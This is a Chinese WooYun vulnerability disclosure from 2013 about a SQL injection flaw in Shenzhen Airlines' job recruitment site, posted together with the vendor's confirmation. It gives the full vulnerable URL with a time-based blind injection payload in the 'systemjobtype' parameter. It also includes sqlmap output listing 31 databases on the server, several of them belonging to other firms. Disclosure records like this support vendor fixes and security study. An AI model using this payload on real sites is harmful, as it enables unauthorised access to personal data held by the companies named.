当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040492

漏洞标题：深圳航空某某站点存在sql注入

相关厂商：深圳航空

漏洞作者： PgHook

提交时间：2013-10-21 10:30

修复时间：2013-12-05 10:31

公开时间：2013-12-05 10:31

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-21： 细节已通知厂商并且等待厂商处理中
2013-10-21： 厂商已经确认，细节仅向厂商公开
2013-10-31： 细节向核心白帽子及相关领域专家公开
2013-11-10： 细节向普通白帽子公开
2013-11-20： 细节向实习白帽子公开
2013-12-05： 细节向公众公开

简要描述：

。。。。。。。。

详细说明：

漏洞站点：http://job.shenzhenair.com
漏洞页面：

http://job.shenzhenair.com/recruitment/index/search/?employe=1&jt=1&systemjobtype=1&keyword=1&company_name=%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E9%83%A8&company=10018&area_name=%E6%97%A0%E9%94%A1&area=86007152&systemjobtype=/recruitment/index/search/?area=&area_name=%E4%B8%8D%E9%99%90&company=&company_name=%E4%B8%8D%E9%99%90&employe=1&jt=1&keyword=1&systemjobtype=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/


漏洞字段：systemjobtype

aaww.jpg


qq22.jpg


31个数据库

漏洞证明：

available databases [31]:
[*] `career.canon.com.cn`
[*] `career.fujifilm.com.cn`
[*] `careers.canon.com.cn`
[*] `careers.founder.com`
[*] `careers.tiandienergy.com`
[*] `huawei.cnstaff.com`
[*] `job.ccsland.com.cn`
[*] `job.gaosiedu.com`
[*] `job.hhcp.com.cn`
[*] `job.jala.com.cn`
[*] `job.shenzhenair.com`
[*] `job.staidson.com`
[*] `job.vogue.com.cn`
[*] `manpowercs.cnstaff.com`
[*] `manpowerdl.cnstaff.com`
[*] `manpowerhz.cnstaff.com`
[*] `manpowerqd.cnstaff.com`
[*] `manpowerwh.cnstaff.com`
[*] `manpowerwx.cnstaff.com`
[*] `manpowerxm.cnstaff.com`
[*] `smartlink.cnstaff.com`
[*] `test.cnstaff.com`
[*] `wanmei.cnstaff.com`
[*] `zhaopin.bjcapitalland.com.cn`
[*] `zhaopin.brightdairy.com`
[*] canon_2
[*] information_schema
[*] mysql
[*] nagios
[*] performance_schema
[*] test
[09:53:32] [INFO] fetched data logged to text files under 'C:\sqlmap\output\job.
shenzhenair.com'

修复方案：

。。。。。

版权声明：转载请注明来源 PgHook@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2013-10-21 12:50

厂商回复：

感谢您对深航信息系统的关注和帮助，我们将尽快排查程序修补漏洞。

最新状态：

暂无

漏洞评价：

评论